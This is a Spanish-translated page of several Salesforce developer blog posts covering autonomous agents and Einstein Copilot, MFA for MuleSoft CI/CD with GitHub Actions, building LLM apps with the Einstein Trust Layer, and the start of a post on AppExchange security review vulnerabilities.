Introducción a los agentes autónomos | Blog de desarrolladores de Salesforce

El panorama de la IA está cambiando a un ritmo tan rápido que las tecnologías futuristas como la IA autónoma ya están mucho más cerca de lo que piensas. Esto se debe a la forma en que los grandes modelos de lenguaje (LLM) están comenzando a incorporarse en casi todas las formas en que interactúa con las aplicaciones. Para los desarrolladores, esto supone un cambio en la forma en que abordamos la creación de aplicaciones, desde las formas en que las reunimos hasta la creación con una UX conversacional completamente nueva.

En esta publicación de blog, veremos cómo los agentes autónomos incorporan la IA a la forma en que funcionan las aplicaciones y, al mismo tiempo, nos acercan a un mundo autónomo.

¿Qué son los agentes autónomos?

En nuestro panorama tecnológico, los agentes son sistemas avanzados que aprovechan el poder de los modelos lingüísticos para razonar y tomar decisiones. Lo que los diferencia de otro bot o marco es el hecho de que los agentes pueden realizar tareas en su nombre utilizando herramientas y memoria.

Las herramientas son extensiones de las capacidades de un modelo de lenguaje, que cierran brechas en su conocimiento y le permiten interactuar con fuentes de datos externas o recursos computacionales. Con estas herramientas, un modelo de lenguaje puede obtener datos en tiempo real, ejecutar tareas y utilizar los resultados para informar sus acciones posteriores. Por ejemplo, si un modelo de lenguaje conoce información solo hasta una fecha determinada, las herramientas pueden proporcionarle información más actualizada de la web, bases de datos u otras fuentes externas.

La memoria proporciona a los agentes la capacidad de recordar interacciones pasadas, lo que puede ser esencial para la continuidad de las tareas y el aprendizaje de acciones anteriores. Esta memoria puede ser de corta duración, centrándose en interacciones recientes, o de largo plazo, recordando eventos o patrones pasados importantes que son relevantes para situaciones actuales.

Juntos, estos elementos transforman un modelo de lenguaje en un agente que no sólo puede comprender y generar texto, sino también actuar sobre esa comprensión en contextos del mundo real. Dichos agentes pueden ejecutar soluciones de forma autónoma para los usuarios, pero también pueden integrar la intervención humana, especialmente en escenarios donde existen incertidumbres o excepciones.

¿Cómo funcionan los agentes?

Se han creado muchos marcos para respaldar el avance de los agentes, siendo algunos de los más populares AutoGPT y LangChain . Generalmente, los agentes siguen un patrón similar: el marco ReAct para razonar y actuar en modelos lingüísticos .

Este marco consta de una serie de pasos:

  1. El usuario proporciona información.
  2. El agente “piensa” en la respuesta adecuada
  3. El agente determina la acción, selecciona la herramienta relevante y decide la entrada para esa herramienta.
  4. La herramienta ofrece un resultado.
  5. El proceso recorre los pasos 2 a 4 hasta que el agente determina que la tarea está completa

Este proceso es el que empieza a hacer autónomo al agente. Al confiar en el LLM para pensar en la respuesta y determinar las acciones apropiadas necesarias, actúa por sí solo para crear el resultado deseado.

Usando LangChain como ejemplo, digamos que queremos crear una aplicación que permita a un cliente gestionar sus pedidos. Primero, podríamos darle a la aplicación acceso a nuestra base de datos de pedidos, base de datos de clientes y API de socios de envío. Luego, configuraríamos una serie de herramientas a las que puede acceder la aplicación para consultar datos, actualizarlos y utilizar IA generativa para redactar una respuesta.

Este agente de gestión de pedidos dispone de seis herramientas que puede utilizar “dentro de su dominio de conocimiento”:

  1. Query Orders es una herramienta que puede consultar pedidos desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  2. Update Order es una herramienta que puede actualizar un único pedido desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  3. Manage Tracking Info es una herramienta que puede gestionar un envío a través de una API proporcionada por una empresa de envío
  4. Get Customer es una herramienta que puede consultar datos de clientes desde una API conectada a un sistema CRM
  5. Update Customer es una herramienta que puede actualizar los datos de los clientes a través de una API conectada a un sistema CRM
  6. Compose Response es una herramienta que puede pasar indicaciones a un LLM y devolver una respuesta.

Veamos ahora cómo un agente podría manejar casos de uso relacionados con la gestión de pedidos. Por ejemplo, ¿cómo puede el agente ayudar a un usuario a obtener una actualización sobre el estado de su pedido?

  1. El usuario solicita la información más reciente de su pedido a través de un chatbot
  2. El agente “piensa” y determina la acción correcta que debe tomar
    1. El agente primero utiliza la herramienta Consultar cliente para consultar los detalles del cliente.
    2. Luego, el agente utiliza la herramienta Consultar pedidos para consultar pedidos desde una base de datos.
    3. Luego, el agente utiliza la herramienta Administrar información de seguimiento para obtener la información de envío más reciente de su socio de envío.
    4. Luego, el agente toma ambos resultados y utiliza la herramienta Redactar respuesta para generar una respuesta.
  3. La respuesta se devuelve al usuario.

En este escenario, el agente pudo tomar las herramientas que le proporcionamos y determinar el pedido y los parámetros que necesitan para crear el resultado correcto para el usuario, en este caso, toda su información de pedido y envío. Lo que es importante tener en cuenta aquí es que el usuario puede hacerle al agente cualquier pregunta sobre su pedido y el agente puede usar IA para razonar y usar las herramientas en el orden que necesite.

Como desarrollador, su función se centra más en crear las herramientas y permitir que el agente administre la orquestación.

Mantener a un humano informado

El desafío ético con los agentes autónomos es que no hay ningún ser humano involucrado cuando se trata de ejecutar las acciones. En Salesforce, estamos comprometidos con el uso ético de la IA y queremos dejarlo claro en nuestras implementaciones de este tipo de tecnología. Ciertas reglas exigen que una persona sea responsable de tomar la decisión final en asuntos con consecuencias legales o de impacto comparable, incluida la contratación laboral, la aprobación de préstamos, las admisiones educativas y las sugerencias en justicia penal. Esta insistencia en la supervisión humana, en lugar de decisiones automatizadas, tiene como objetivo identificar y reducir mejor los posibles sesgos y daños.

¿Qué significa esto para el futuro de Salesforce?

En Dreamforce este año, les dimos una idea de cómo será el futuro de Salesforce y la IA autónoma en la plataforma Einstein 1. Einstein Copilot es nuestra respuesta a un asistente conversacional de IA generativa basado en agentes que utiliza habilidades y acciones para guiar a los usuarios a través de la interacción con Salesforce. Esto introduce un paradigma de desarrollo completamente nuevo para Salesforce, uno en el que estamos creando piezas de funcionalidad más pequeñas que pueden ser orquestadas por Einstein Copilot.

¿Cómo se compara Einstein Copilot con un agente de IA?

Si bien existen varias similitudes entre Copilot y un marco de agente de código abierto, la verdadera diferencia es el acceso de Copilot a toda la plataforma de metadatos de Salesforce. No sólo eso, sino que el alcance es mucho mayor. En lugar de agentes individuales, tienes muchas habilidades , y en lugar de herramientas tienes acciones .

Por ejemplo, si desea actualizar un pedido utilizando Copilot, deberá crear una habilidad de gestión de pedidos. Con otros marcos, necesitarías crear un agente completo para la gestión de pedidos.

Cuando se trata de acciones, usted tiene el poder de la Plataforma Einstein 1 detrás de usted. Podrá utilizar Apex, Flow, las numerosas API de plataforma, SOQL y mucho más para brindarle a su habilidad la capacidad de reunir datos desde cualquier lugar. También tiene acceso directo a los datos de toda la plataforma.

Estudio Einstein Copiloto

Estas habilidades y acciones se reúnen en Einstein Copilot Studio , que le permite ensamblar flujos, indicaciones, Apex y más en colecciones de funcionalidades.

Actualmente existen tres herramientas dentro de Einstein Copilot Studio:

  • Prompt Builder le permite crear plantillas de mensajes utilizando campos de combinación de registros y datos proporcionados por Flow y Data Cloud.
  • Skills Builder le permite ensamblar acciones, como métodos invocables de Apex, flujos y llamadas de API de MuleSoft, y otorgárselas a un agente.
  • Model Builder le permite traer sus propios modelos de IA a Salesforce

Juntos, podrán crear agentes potentes en Salesforce que puedan usar su código para responder preguntas y ayudar a los usuarios.

La capa de confianza de Einstein

Una gran ventaja de Einstein Copilot es Einstein Trust Layer. Trust Layer proporciona un entorno seguro para el procesamiento de datos a través de un modelo de lenguaje grande, lo que garantiza que los datos del usuario permanezcan confidenciales al enmascarar información de identificación personal, verificar la salida en busca de contenido inapropiado y garantizar que no haya persistencia de datos fuera de Salesforce.

Trust Layer se ejecuta a través de un proceso de varios pasos para garantizar que los datos estén fundamentados y enmascarados antes de ser procesados por un proveedor de LLM externo, y proporciona una puerta de enlace segura para interactuar con dichos LLM. Una vez que se ha generado una respuesta, la verifica en busca de contenido tóxico y desenmascara los datos antes de presentárselos al usuario. Puede ver más de cerca la capa de confianza en nuestra publicación de blog Dentro de la capa de confianza de Einstein .

Resumen

La IA autónoma se hace realidad mucho más cerca a través de agentes, lo que marca el comienzo de una nueva era de tecnología en la que el razonamiento y la toma de decisiones se potencian con herramientas y memoria. Einstein Copilot de Salesforce introduce este enfoque impulsado por agentes en la plataforma, ofreciendo un asistente de IA conversacional que guía a los usuarios, aprovecha los vastos metadatos de Salesforce y garantiza la integridad de los datos a través de Einstein Trust Layer. Este cambio transformador significa no sólo una evolución en las interacciones de IA, sino también una promesa de experiencias seguras, eficientes y fluidas para los usuarios de Salesforce.

Sobre el Autor

Stephan Chandler-García es el director de contenido estratégico de Salesforce. Ha estado en el ecosistema de Salesforce durante más de 10 años como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, sígalo en X (Twitter) o GitHub .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Habilitación de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub ☁️

Habilitación de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Habilitación de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub | Blog de desarrolladores de Salesforce

La mayoría de las cuentas empresariales de Anypoint Platform requieren que utilice mecanismos de autenticación multifactor (MFA) para mayor seguridad. Esto significa que, además de su nombre de usuario y contraseña habituales, necesitará un paso adicional para autenticarse (por ejemplo, una aplicación de autenticación en su teléfono).

Cuando utiliza canalizaciones de CI/CD para sus aplicaciones Mule y MFA está habilitado en su cuenta, la configuración para autenticarse usando el complemento Mule Maven será diferente que si solo estuviera usando su nombre de usuario y contraseña. Hay más pasos que debe seguir desde su cuenta de Anypoint Platform para habilitar sus canales de CI/CD con este método de autenticación.

En esta publicación, aprenderá cómo configurar una canalización de GitHub Actions para que funcione con su cuenta habilitada para MFA desde Anypoint Platform.

Requisitos previos

Crear una aplicación conectada

Dado que usar el nombre de usuario y la contraseña de su plataforma Anypoint no es suficiente para autenticarse en el proceso, debe crear una aplicación conectada para usar sus credenciales (ID/Secreto). Para crearlo, vaya a su cuenta de Anypoint Platform y navegue hasta Gestión de acceso > Aplicaciones conectadas > Crear aplicación .

Asigne un nombre a su aplicación para identificarla de otras que pueda crear. Por ejemplo, github-actions . Seleccione el tipo La aplicación actúa por sí sola y haga clic en el botón Agregar ámbitos .

Seleccione los siguientes 10 ámbitos.

  • Desarrollador del centro de diseño
  • Ver entorno
  • Ver organización
  • Perfil
  • Administrador de organización de CloudHub
  • Crear aplicaciones
  • Eliminar aplicaciones
  • Descargar aplicaciones
  • Leer aplicaciones
  • Leer servidores

Haga clic en Siguiente . Seleccione su grupo empresarial y haga clic en Siguiente . Seleccione su entorno (por ejemplo, Sandbox) y haga clic en Siguiente . Revise que los alcances sean correctos y haga clic en Agregar alcances . Haga clic en Guardar .

Una vez creada la aplicación, asegúrese de copiar tanto el ID como el Secreto . Los utilizará en la configuración de la canalización como método de autenticación.

Configura tus secretos de GitHub Actions

Vaya a su repositorio de GitHub. Haga clic en la pestaña Configuración > Secretos y variables > Acciones > Nuevo secreto del repositorio . En el campo de nombre, agregue CONNECTED_APP_CLIENT_ID . En el campo secreto, agregue la identificación real que acaba de copiar en el paso anterior. Repita este paso para crear otro secreto con el secreto real que copió en el paso anterior. Utilice el nombre CONNECTED_APP_CLIENT_SECRET .

Crear una canalización de CI/CD

De vuelta en el código de su aplicación Mule, cree una carpeta .github en el nivel raíz. Dentro de esta carpeta, cree otra carpeta llamada workflows . Dentro de esta carpeta, cree un archivo build.yml con el siguiente contenido: mule-mfa-cicd-build.yml . Tenga en cuenta que la sucursal main se utiliza en la línea 5. Si su sucursal tiene un nombre diferente, asegúrese de actualizar esta configuración.

En este archivo, describimos los pasos para generar el archivo JAR de nuestra aplicación Mule e implementarlo en nuestra cuenta de Anypoint Platform usando GitHub Actions. Observe que estamos usando los secretos creados previamente en el último paso para pasarlos a nuestro proyecto a través de Maven. Aquí declaramos dos variables de entorno Java ( client.id y client.secret ) para copiar las credenciales de nuestra aplicación de los secretos de GitHub para que el archivo pom.xml pueda usarse más adelante.

Modifica tu configuración de Maven

En su proyecto Mule, abra su archivo pom.xml. Localice el complemento org.mule.tools.maven en project/build/plugins . Agregue la siguiente configuración a este complemento.

<dx-code-block title language="xml" code-block=" org.mule.tools.maven mule-maven-plugin ${mule.maven.plugin.version} true https://anypoint.mulesoft.com 4.4.0 mulesoft-mfa-cicd Sandbox MICRO us-east-2 1 true ${client.id} ${client.secret} client_credentials
«>

Vuelva a verificar estas configuraciones en caso de que necesite actualizarlas para que coincidan con su caso de uso. Por ejemplo, muleVersion , applicationName , environment o region . Usaremos los campos connectedAppClientId y connectedAppClientSecret para pasar las variables Java que declaramos anteriormente en la configuración de Maven.

Es importante que no codifique las credenciales de la aplicación conectada en este archivo por razones de seguridad. Es por eso que mantenemos los valores como secretos de GitHub. Recuerda que puedes acceder a nuestro repositorio de ejemplo si necesitas comparar tu código con el nuestro.

ejecutar la tubería

Una vez que todas sus configuraciones estén listas, confirme y envíe sus cambios al repositorio remoto. Esto activará la canalización en GitHub. Puede ver el proceso haciendo clic en la pestaña Acciones de su repositorio de GitHub.

Una vez completado el proceso, su aplicación Mule se implementará en Runtime Manager. Tenga en cuenta que el archivo JAR contendrá el hash de confirmación en su nombre.

Conclusión

Habilitar canalizaciones de CI/CD es importante para automatizar tareas repetitivas. En lugar de implementar manualmente una aplicación Mule cada vez que hay un cambio en el código, podemos crear canalizaciones para que realicen estas tareas por nosotros. Este fue un ejemplo simple que utiliza solo una sucursal y un entorno, pero puede conectar otras sucursales a otros entornos en Anypoint Platform. Por ejemplo, dev , qa , prod , etc.

En esta publicación, aprendimos cómo implementar automáticamente una aplicación Mule en CloudHub cuando usamos la autenticación multifactor en nuestra cuenta de Anypoint Platform porque la mayoría de las cuentas empresariales tienen esta configuración habilitada. Sin embargo, cuando solo usa una cuenta de prueba gratuita, no necesita crear una aplicación conectada si no usa MFA en su cuenta. Puede utilizar su nombre de usuario y contraseña de Anypoint Platform para iniciar sesión.

Hay muchas cosas que puede automatizar al utilizar canalizaciones de CI/CD para sus aplicaciones Mule. Puedes ejecutar pruebas automatizadas antes de implementar tu aplicación Mule, por ejemplo. ¿Se te ocurren otras tareas repetitivas que puedas automatizar en tus canalizaciones?

Nota: Las versiones iniciales de la canalización se basan en el siguiente repositorio creado por Archana Patel: arch-jn/github-actions-mule-cicd-demo .

Recursos adicionales

Sobre el Autor

Alex Martínez formó parte de la comunidad de MuleSoft antes de unirse a MuleSoft como desarrollador defensor. Fundó ProstDev para ayudar a otros profesionales a aprender más sobre la creación de contenido. En su tiempo libre, encontrarás a Alex jugando juegos de Nintendo o Playstation y escribiendo reseñas sobre ellos. Siga a Alex en LinkedIn o en la comunidad Trailblazer .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Creación de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.

¿Cómo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de código abierto
  3. Utilice modelos existentes a través de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho más pequeño, el modelo GPT-3 de OpenAI tardó 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, también necesitará un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensión entre la forma en que aprenden los LLM y la forma en que se implementan las políticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. ¡Cuantos más datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las políticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio mínimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo específico. ¡Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposición de todos en su empresa puede no ser una buena idea y violar las políticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de código abierto

Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a través de API

Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.

En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.

Creación de aplicaciones impulsadas por IA utilizando modelos existentes a través de API

Llamada API básica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, así es como se vería la llamada API usando la API OpenAI:

Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electrónico de presentación para el director ejecutivo de Acme.

El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha información de conexión a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Está pasando información confidencial al proveedor del modelo donde potencialmente podría persistir o usarse para entrenar aún más el modelo, lo que significa que sus datos privados podrían aparecer en la respuesta generada por el modelo de otra persona.

Construcción rápida y puesta a tierra dinámica.

Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:

  1. Llame a un servicio para obtener información sobre el usuario.
  2. Llame a un servicio para obtener información sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la información obtenida de los servicios de datos anteriores.

Así es como podrían verse estos pasos de construcción rápidos en Apex:

El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.

Plantillas de aviso

Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.

Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.

Estudio rápido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • ¿Qué pasa con los problemas de cumplimiento y privacidad si pasa datos de información de identificación personal (PII) en el mensaje? ¿El proveedor del modelo podría conservar los datos de PII o incluso utilizarlos para entrenar aún más el modelo?
  • ¿Cómo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • ¿Cómo se rastrea y registra los pasos de creación de mensajes con fines de auditoría?

Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

Así es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger aún más sus datos, Salesforce tiene acuerdos de retención cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistirán ni entrenarán más sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detección de toxicidad y el registro de seguimiento de auditoría. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detección de toxicidad comprueba si hay contenido dañino u ofensivo en el resultado. El registro de seguimiento de auditoría registra todo el proceso con fines de auditoría.

De cara al futuro: creación de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?

Encadenamiento rápido

La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se envía al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestación de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.

La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

